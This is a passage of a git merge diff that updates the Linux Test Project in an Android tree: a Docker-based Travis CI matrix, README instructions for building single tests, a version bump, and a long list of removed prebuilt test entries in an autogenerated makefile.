DO NOT MERGE - Merge pi-platform-release (PPRL.190505.001) into stage-aosp-master

Bug: 132622481
Change-Id: I98cb3006ca0a4aa724f68173703f79848b516348
diff --git a/.gitignore b/.gitignore
index f125b11..99206de 100644
--- a/.gitignore
+++ b/.gitignore
@@ -9,6 +9,8 @@
 .gdbinit
 lib*.a
 *.pyc
+.cache.mk
+*.dwo
 
 /aclocal.m4
 autom4te.cache
@@ -20,6 +22,7 @@
 /config.mk
 /config.status
 /config.sub
+/conf*/
 /install-sh
 /missing
 /include/config.h
diff --git a/.gitmodules b/.gitmodules
deleted file mode 100644
index 1c9e9c3..0000000
--- a/.gitmodules
+++ /dev/null
@@ -1,3 +0,0 @@
-[submodule "testcases/kernel/mce-test"]
-	path = testcases/kernel/mce-test
-	url = git://git.kernel.org/pub/scm/linux/kernel/git/gong.chen/mce-test.git
diff --git a/.travis.packages_i386 b/.travis.packages_i386
deleted file mode 100644
index 7253290..0000000
--- a/.travis.packages_i386
+++ /dev/null
@@ -1,9 +0,0 @@
-libacl1:i386
-libaio1:i386
-libcap2:i386
-libc6-dev-i386
-libc6:i386
-libkeyutils1:i386
-libnuma1:i386
-libssl-dev:i386
-libtirpc1:i386
diff --git a/.travis.packages_native b/.travis.packages_native
deleted file mode 100644
index d9e1a2a..0000000
--- a/.travis.packages_native
+++ /dev/null
@@ -1,18 +0,0 @@
-libacl1
-libacl1-dev
-libaio-dev
-libaio1
-libcap-dev
-libcap2
-libc6
-libc6-dev
-libkeyutils-dev
-libkeyutils1
-libmm-dev
-libnuma-dev
-libnuma1
-libselinux1-dev
-libsepol1-dev
-libssl-dev
-libtirpc1
-linux-libc-dev
diff --git a/.travis.yml b/.travis.yml
index 7b8fb50..24de925 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,105 +1,77 @@
+sudo: required
 language: c
+services:
+    - docker
 
 matrix:
     include:
-
-        # normal native in-tree builds
+        # 32 bit build
         - os: linux
-          env: BUILD="native" INSTALL_PACKAGES="$BUILD"
-          compiler: gcc-5
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-5']
+          env: DISTRO=debian:stable VARIANT=i386
+          compiler: gcc
 
+        # cross compilation builds
         - os: linux
-          env: BUILD="native" INSTALL_PACKAGES="$BUILD"
-          compiler: gcc-7
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-7']
-
+          env: DISTRO=debian:stable VARIANT=cross-compile.ppc64le TREE="out"
+          compiler: powerpc64le-linux-gnu-gcc
         - os: linux
-          env: BUILD="native" INSTALL_PACKAGES="$BUILD"
-          compiler: clang-4.0
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-trusty-4.0']
-                  packages: ['clang-4.0']
-
-        - os: linux
-          env: BUILD="native" INSTALL_PACKAGES="$BUILD"
-          compiler: clang-5.0
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-trusty-5.0']
-                  packages: ['clang-5.0']
-
-        # minimal build (some headers and libraries are missing)
-        - os: linux
-          env: BUILD="native"
-          compiler: clang-3.9
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-trusty-3.9']
-                  packages: ['clang-3.9']
-
-        # 32-bit in-tree cross-compile builds
-        - os: linux
-          env: BUILD="32" INSTALL_PACKAGES="$BUILD"
-          compiler: gcc-4.9
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-4.9', 'gcc-4.9-multilib', 'linux-libc-dev:i386']
-
-        - os: linux
-          env: BUILD="32" INSTALL_PACKAGES="$BUILD"
-          compiler: gcc-6
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-6', 'gcc-6-multilib', 'linux-libc-dev:i386']
-
-        # out-of-tree build
-        - os: linux
-          env: BUILD="out" INSTALL_PACKAGES="native"
-          compiler: gcc-7
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-7']
-
-        # cross-compile ARM builds
-        - os: linux
-          env: BUILD="cross" INSTALL_PACKAGES="$BUILD"
-          compiler: arm-linux-gnueabihf-gcc
-          addons:
-              apt:
-                  packages: ['gcc-arm-linux-gnueabihf', 'libc6-dev-armhf-cross']
-
-        - os: linux
-          env: BUILD="cross" INSTALL_PACKAGES="$BUILD"
+          env: DISTRO=debian:stable VARIANT=cross-compile.aarch64 TREE="out"
           compiler: aarch64-linux-gnu-gcc
-          addons:
-              apt:
-                  packages: ['gcc-aarch64-linux-gnu', 'libc6-dev-arm64-cross']
 
-notifications:
-    email:
-        secure: "b/xcA/K5OyQvPPnd0PRahTH5LJu8lgz8goGHvhXpHo+ZPsPgTDXNFo5cX9fSOkMuFKeoW8iGl0wOgK2+ptc8mbYDw277K4RFIHRHeV/KIoE1EzjQnEFiL8J0oHCAvDj12o0AXeriTyY9gICXKbR31Br6Zh5eKViDJe2OAGeHeDU="
+        # build with minimal dependencies
+        - os: linux
+          env: DISTRO=debian:stable VARIANT=minimal TREE="out"
+          compiler: clang
+
+        - os: linux
+          env: DISTRO=debian:testing
+          compiler: gcc
+        - os: linux
+          env: DISTRO=debian:testing
+          compiler: clang
+
+        - os: linux
+          env: DISTRO=debian:oldstable
+          compiler: gcc
+        - os: linux
+          env: DISTRO=debian:oldstable
+          compiler: clang
+
+        - os: linux
+          env: DISTRO=ubuntu:latest TREE="out"
+          compiler: gcc
+
+        - os: linux
+          env: DISTRO=ubuntu:xenial
+          compiler: gcc
+
+        - os: linux
+          env: DISTRO=opensuse:tumbleweed
+          compiler: gcc
+
+        - os: linux
+          env: DISTRO=opensuse:leap
+          compiler: gcc
+
+        - os: linux
+          env: DISTRO=fedora:latest
+          compiler: clang
+
+        - os: linux
+          env: DISTRO=centos:latest
+          compiler: gcc
+        - os: linux
+          env: DISTRO=centos:6 TREE="out"
+          compiler: gcc
 
 before_install:
-    # installing / removing dependencies
-    - if [ "$INSTALL_PACKAGES" = "" ]; then
-          sudo apt remove $(cat .travis.packages_native | grep -v -e 'libc6' -e 'libc6-dev' -e 'linux-libc-dev' -e 'libacl1')
-      ; elif [ "$INSTALL_PACKAGES" != "cross" ]; then
-          sudo apt install -qq $(cat .travis.packages_native)
-      ; fi
+    - DIR="/usr/src/ltp"
+    - printf "FROM $DISTRO\nRUN mkdir -p $DIR\nWORKDIR $DIR\nCOPY . $DIR\n" > Dockerfile
+    - echo "cat Dockerfile"; cat Dockerfile; echo "=====" # FIXME: debug
+    - docker build -t ltp .
 
-    - if [ "$INSTALL_PACKAGES" = "32" ]; then
-          sudo apt install -qq $(cat .travis.packages_i386)
-      ; fi
-
-script: ./build.sh -t $BUILD -c $CC
+script:
+    - INSTALL="${DISTRO%%:*}"
+    - if [ ! "$TREE" ]; then TREE="in"; fi
+    - case $VARIANT in cross-compile*) BUILD="cross";; i386) BUILD="32";; *) BUILD="native";; esac
+    - docker run -it ltp /bin/sh -c "cd travis && ./$INSTALL.sh && if [ \"$VARIANT\" ]; then ./$INSTALL.$VARIANT.sh; fi && ../build.sh -o $TREE -t $BUILD -c $CC"
diff --git a/Android.bp b/Android.bp
index acfcfe7..70e58b7 100644
--- a/Android.bp
+++ b/Android.bp
@@ -84,7 +84,7 @@
     static_libs: ["libcap"],
 
     // TODO: recover libaio when the external project created
-    shared_libs: ["libselinux"],
+    shared_libs: ["libselinux", "libasyncio"],
 }
 
 cc_defaults {
diff --git a/Makefile b/Makefile
index b0368a4..bcadd21 100644
--- a/Makefile
+++ b/Makefile
@@ -163,7 +163,7 @@
 $(foreach tgt,$(MAKE_TARGETS) include-all lib-all $(filter-out clean_install_dir,$(CLEAN_TARGETS)) $(INSTALL_TARGETS) include-install lib-install,$(eval $(call target_to_dir_dep_mapping,$(tgt))))
 
 BINDIR_INSTALL_SCRIPTS	:= execltp
-SRCDIR_INSTALL_SCRIPTS	:= IDcheck.sh runltp runltplite.sh ver_linux
+SRCDIR_INSTALL_SCRIPTS	:= IDcheck.sh runltp ver_linux
 SRCDIR_INSTALL_READONLY	:= Version
 SRCDIR_INSTALL_TARGETS	:= $(SRCDIR_INSTALL_SCRIPTS) $(SRCDIR_INSTALL_READONLY)
 
diff --git a/README.md b/README.md
index ffa769d..2403356 100644
--- a/README.md
+++ b/README.md
@@ -22,6 +22,9 @@
 The git repository is located at GitHub at:
 https://github.com/linux-test-project/ltp
 
+The patchwork instance is at:
+https://patchwork.ozlabs.org/project/ltp/list/
+
 Warning!
 ========
 
@@ -42,6 +45,49 @@
 $ cd ltp
 $ make autotools
 $ ./configure
+```
+
+Now you can continue either with compiling and running a single test or with
+compiling and installing the whole testsuite.
+
+Shortcut to running a single test
+---------------------------------
+
+If you need to execute a single test you actually does not need to compile
+whole LTP, if you want to run a syscall testcase following should work.
+
+```
+$ cd testcases/kernel/syscalls/foo
+$ make
+$ PATH=$PATH:$PWD ./foo01
+```
+
+Shell testcases are a bit more complicated since these need a path to a shell
+library as well as to compiled binary helpers, but generally following should
+work.
+
+```
+$ cd testcases/lib
+$ make
+$ cd ../commands/foo
+$ PATH=$PATH:$PWD:$PWD/../../lib/ ./foo01.sh
+```
+
+Open Posix Testsuite has it's own build system which needs Makefiles to be
+generated first, then compilation should work in subdirectories as well.
+
+```
+$ cd testcases/open_posix_testsuite/
+$ make generate-makefiles
+$ cd conformance/interfaces/foo
+$ make
+$ ./foo_1-1.run-test
+```
+
+Compiling and installing all testcases
+--------------------------------------
+
+```
 $ make
 $ make install
 ```
@@ -135,6 +181,8 @@
 If something is not covered there don't hesitate to ask on the LTP mailing
 list. Also note that these documents are available online at:
 
-https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines
-https://github.com/linux-test-project/ltp/wiki/BuildSystem
-https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial
+* https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines
+* https://github.com/linux-test-project/ltp/wiki/BuildSystem
+* https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial
+
+Although we accept GitHub pull requests, the preferred way is sending patches to our mailing list.
diff --git a/VERSION b/VERSION
index 4c5b39a..b69a778 100644
--- a/VERSION
+++ b/VERSION
@@ -1 +1 @@
-20180118
+20190115
diff --git a/android/Android.ltp.mk b/android/Android.ltp.mk
index 3f063ab..289423f 100644
--- a/android/Android.ltp.mk
+++ b/android/Android.ltp.mk
@@ -13,2572 +13,32 @@
 
 # This file is autogenerated by gen_android_build.sh
 
-module_prebuilt := testcases/bin/tcp4-uni-tso08
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh02_s1
-module_src_files := testcases/network/tcp_cmds/ssh/ssh02_s1
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff11
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff10
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff13
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff12
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cgroup_fj_common.sh
-module_src_files := testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_syscall_testset.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_testset.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast-group-source-filter
-module_src_files := testcases/network/stress/multicast/grp-operation/mcast-group-source-filter
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bin/check_prop
-module_src_files := testcases/kernel/fs/fs_bind/bin/check_prop
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/busy_poll01.sh
-module_src_files := testcases/network/busy_poll/busy_poll01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_ioctl
-module_src_files := testcases/kernel/syscalls/ioctl/test_ioctl
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_set_current.sh
-module_src_files := testcases/kernel/security/smack/smack_set_current.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test21
-module_src_files := testcases/kernel/fs/fs_bind/move/test21
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cgroup_regression_test.sh
-module_src_files := testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip10
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip11
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip13
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip14
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff11
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff12
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff13
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp-upload-stress
-module_src_files := testcases/network/stress/ftp/ftp-upload-stress
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.zip
-module_src_files := testcases/commands/file/datafiles/in.zip
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dnsmasq_tests.sh
-module_src_files := testcases/network/dhcp/dnsmasq_tests.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route4-ifdown
-module_src_files := testcases/network/stress/route/route4-ifdown
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_dir_test.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_dir_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_set_onlycap.sh
-module_src_files := testcases/kernel/security/smack/smack_set_onlycap.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/filecapstest.sh
-module_src_files := testcases/kernel/security/filecaps/filecapstest.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mc_cmds
-module_src_files := testcases/network/multicast/mc_cmds/mc_cmds
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ld01/d1.c
-module_src_files := testcases/commands/ld/datafiles/d1.c
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/run_freezer.sh
-module_src_files := testcases/kernel/controllers/freezer/run_freezer.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_set_ambient.sh
-module_src_files := testcases/kernel/security/smack/smack_set_ambient.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_nsec_timestamps_test.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test14
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rup01
-module_src_files := testcases/network/rpc/basic_tests/rup/rup01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/run_sched_cliserv.sh
-module_src_files := testcases/kernel/sched/clisrv/run_sched_cliserv.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ar01/file2.in
-module_src_files := testcases/commands/ar/datafiles/file2.in
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test24
-module_src_files := testcases/kernel/fs/fs_bind/bind/test24
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test23
-module_src_files := testcases/kernel/fs/fs_bind/bind/test23
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test22
-module_src_files := testcases/kernel/fs/fs_bind/bind/test22
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test21
-module_src_files := testcases/kernel/fs/fs_bind/bind/test21
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test20
-module_src_files := testcases/kernel/fs/fs_bind/bind/test20
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dhcpd_tests.sh
-module_src_files := testcases/network/dhcp/dhcpd_tests.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.sh
-module_src_files := testcases/commands/file/datafiles/in.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test02
-module_src_files := testcases/kernel/fs/fs_bind/bind/test02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ima_violations.sh
-module_src_files := testcases/kernel/security/integrity/ima/tests/ima_violations.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug02.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route4-change-gw
-module_src_files := testcases/network/stress/route/route4-change-gw
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_dir_create.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_dir_create.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_limit_in_bytes.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rsh01
-module_src_files := testcases/network/tcp_cmds/rsh/rsh01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/freeze_self_thaw.sh
-module_src_files := testcases/kernel/controllers/freezer/freeze_self_thaw.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast4-queryfld03
-module_src_files := testcases/network/stress/multicast/query-flood/mcast4-queryfld03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-uni-basic03
-module_src_files := testcases/network/stress/udp/uni-basic/udp4-uni-basic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp_setup
-module_src_files := testcases/network/tcp_cmds/ftp/ftp_setup
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/busy_poll_lib.sh
-module_src_files := testcases/network/busy_poll/busy_poll_lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_common.sh
-module_src_files := testcases/kernel/security/smack/smack_common.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic09
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic08
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/stress_floppy/dd_file
-module_src_files := testcases/kernel/io/stress_floppy/datafiles/dd_file
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic03
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic02
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfsstat01
-module_src_files := testcases/network/nfs/nfsstat01/nfsstat01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic07
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic05
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic04
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ext4-ffsb/ffsb-config5
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-ffsb-config/ffsb-config5
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_usage_in_bytes_test.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_file_link.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_file_link.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rcu_torture.sh
-module_src_files := testcases/kernel/device-drivers/rcu/rcu_torture.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_load_balance_test.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_load_balance_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.bash
-module_src_files := testcases/commands/file/datafiles/in.bash
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip6-plen
-module_src_files := testcases/network/stress/broken_ip/broken_ip6-plen
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfs04
-module_src_files := testcases/network/nfs/nfs_stress/nfs04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/busy_poll02.sh
-module_src_files := testcases/network/busy_poll/busy_poll02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ld01/f1.c
-module_src_files := testcases/commands/ld/datafiles/f1.c
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/mc_member/TooManyGroups
-module_src_files := testcases/network/multicast/mc_member/datafiles/TooManyGroups
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfs05
-module_src_files := testcases/network/nfs/nfs_stress/nfs05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffport01
-module_src_files := testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffport03
-module_src_files := testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffport02
-module_src_files := testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff14
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffport04
-module_src_files := testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffport07
-module_src_files := testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffport06
-module_src_files := testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh03_s1
-module_src_files := testcases/network/tcp_cmds/ssh/ssh03_s1
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/vlan03.sh
-module_src_files := testcases/network/virt/vlan03.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/freeze_thaw.sh
-module_src_files := testcases/kernel/controllers/freezer/freeze_thaw.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/quota_remount_test01.sh
-module_src_files := testcases/kernel/fs/quota_remount/quota_remount_test01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend04
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend05
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend06
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend07
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_controllers.sh
-module_src_files := testcases/kernel/controllers/test_controllers.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend01
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend02
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend03
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_journal_checksum.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-smallsend08
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip12
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test31
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test31
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp-uni-basic.sh
-module_src_files := testcases/network/stress/icmp/icmp-uni-basic.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/get_ifname
-module_src_files := testcases/network/stress/ns-tools/get_ifname
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests_exclusive01.sh
-module_src_files := testcases/kernel/power_management/runpwtests_exclusive01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/regression/test01
-module_src_files := testcases/kernel/fs/fs_bind/regression/test01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff10
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/regression/test03
-module_src_files := testcases/kernel/fs/fs_bind/regression/test03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/regression/test02
-module_src_files := testcases/kernel/fs/fs_bind/regression/test02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_memory_pressure_testset.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/run_memctl_test.sh
-module_src_files := testcases/kernel/controllers/memctl/run_memctl_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route4-change-if
-module_src_files := testcases/network/stress/route/route4-change-if
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/cloneNS/test04
-module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/cloneNS/test07
-module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/cloneNS/test06
-module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/cloneNS/test01
-module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/cloneNS/test03
-module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/cloneNS/test02
